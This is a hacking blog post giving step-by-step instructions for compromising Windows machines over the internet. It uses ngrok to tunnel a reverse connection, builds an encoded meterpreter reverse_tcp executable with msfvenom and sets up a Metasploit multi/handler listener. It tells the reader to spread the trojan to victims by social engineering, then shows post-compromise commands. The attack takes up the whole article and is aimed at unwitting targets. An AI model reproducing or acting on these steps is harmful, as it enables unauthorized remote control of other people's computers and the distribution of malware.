• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

Hack Windows remotely over the Internet with Metasploit

AnonyViet by AnonyViet
January 25, 2023
in Security
0

In all previous Metasploit or Kali Linux articles, I always perform attacks on LAN. So in this article, I will show you how to use Metasploit on the Internet over WAN.

Join the channel Telegram of the AnonyViet 👉 Link 👈

Hack Windows 10 remotely over WAN with Metasploit

A fairly common way is to forward router ports. But today we are going to discuss another method by which you can easily run Metasploit over WAN without using port forwarding as port forwarding is always a challenging task for all. we.

Hack Windows 10 remotely over WAN with Metasploit

Implementation steps:

  1. Create an account on ngrok.com.
  2. Download and configure Ngrok on your Kali Linux machine.
  3. Start the TCP or HTTP service.
  4. Generate payload with Msfvenom.
  5. Start Listener with Metasploit Framework.
  6. Spread your Trojan over the internet.

I will skip step 1 and step 2 because you can read through this article to do the first 2 steps.

After installing Ngrok, start the Ngrok TCP service on port 4444 by entering the command below:

./ngrok tcp 4444

You can use any port but I recommend using port 4444 for this case.

Hack Windows remotely over the Internet with Metasploit 13

The next step is to create a malicious payload with the help of Msfvenom as follows:

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=<Your Ngrok URL> LPORT=<Your Ngrok Port> -b “\x00” -e x86/shikhata_ga_nai -f exe -o /root/Desktop/<filename>.exe

Explanation of options:

  • -p stands for payload.
  • -e stands for encoder.
  • -o stands for output.
  • -f stands for fileformat.

Msfvenom is a combination of Msfpayload and Msfencode, bringing both tools into a single Framework version. Msfvenom has replaced both msfpayload and msfencode as of June 8, 2015.

Hack Windows remotely over the Internet with Metasploit 14

This is a list of available platforms that one can enter using the –platform option.

  • Cisco or cisco
  • OSX or osx
  • Solaris or solaris
  • BSD or bsd
  • OpenBSD or openbsd
  • hardware
  • Firefox or firefox
  • BSDi or bsdi
  • NetBSD or netbsd
  • NodeJS or nodejs
  • FreeBSD or freebsd
  • Python or python
  • AIX or aix
  • JavaScript or javascript
  • HPUX or hpux
  • PHP or php
  • Irix or irix
  • Unix or unix
  • Linux or linux
  • Ruby or ruby
  • Java or java
  • Android or android
  • Netware or netware
  • Windows or windows
  • mainframe
  • multi

To see a list of all encoders, type “msfvenom -l encoders” into your terminal.

Hack Windows remotely over the Internet with Metasploit 15

When the victim clicks on the gtavicty.exe file, the payload will be activated and will attempt to make a connection back to your system (LHOST). For a successful connection, you will need to open the multiprocessor in Metasploit to get the connection.

Start the metasploit framework by typing “msfconsole” into your terminal.

The Exploit that we will use is “use exploit/multi/handler“

Payload is “set payload windows/meterpreter/reverse_tcp“

Hack Windows remotely over the Internet with Metasploit 16

Here you need to set LHOST and LPORT.

set LHOST 0.0.0.0
set LPORT 4444

Hack Windows remotely over the Internet with Metasploit 17

Just type “run” in your terminal. Now you can use any method social engineering to distribute its malicious executable over the Internet.

When the victim clicks on the gtavicty.exe executable, the meterpreter session is opened immediately.

Hack Windows remotely over the Internet with Metasploit 18

So here ngrok will automatically forward all traffic to your localhost machine. Enter “sysinfo” to know more about your goal.

Hack Windows remotely over the Internet with Metasploit 19

To know the process ID, just type “getpid” in the same terminal.

Hack Windows remotely over the Internet with Metasploit 20

So that’s it then.

The article achieved: 5/5 – (100 votes)

Tags: HackInternetMetasploitremotelyWindows
Previous Post

Super Fast Proxy Tool for Windows and Linux

Next Post

Instructions for running Android emulator on VMware

AnonyViet

AnonyViet

Related Posts

How to implement Shellcode Injection attack technique with Autoit
Security

How to implement Shellcode Injection attack technique with Autoit

March 14, 2025
How to exploit the holy hole of Hijacking on Windows
Security

How to exploit the holy hole of Hijacking on Windows

March 8, 2025
Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery
Security

Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery

February 10, 2025
Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile
Security

Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile

December 14, 2024
Capsolver: Automatic solution solution for business
Security

Capsolver: Automatic solution solution for business

December 12, 2024
Seekr: Collect & manage OSINT data
Security

Seekr: Collect & manage OSINT data

November 22, 2024
Next Post
Instructions for running Android emulator on VMware

Instructions for running Android emulator on VMware

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

Top 5 game programming languages ​​to learn now

Top 5 game programming languages ​​to learn now

June 8, 2025
The iPhone list is updated with iOS 26

The iPhone list is updated with iOS 26

June 8, 2025
Discover the glowing effect next to the iPhone ios 18 screen

Discover the glowing effect next to the iPhone ios 18 screen

June 8, 2025
[Godot Shooter] #2: Creating characters & shooting bullets

[Godot Shooter] #2: Creating characters & shooting bullets

June 7, 2025
Top 5 game programming languages ​​to learn now

Top 5 game programming languages ​​to learn now

June 8, 2025
The iPhone list is updated with iOS 26

The iPhone list is updated with iOS 26

June 8, 2025
Discover the glowing effect next to the iPhone ios 18 screen

Discover the glowing effect next to the iPhone ios 18 screen

June 8, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

Top 5 game programming languages ​​to learn now

Top 5 game programming languages ​​to learn now

June 8, 2025
The iPhone list is updated with iOS 26

The iPhone list is updated with iOS 26

June 8, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí SHBET https://kubet88.yoga/ bj88

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí SHBET https://kubet88.yoga/ bj88

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply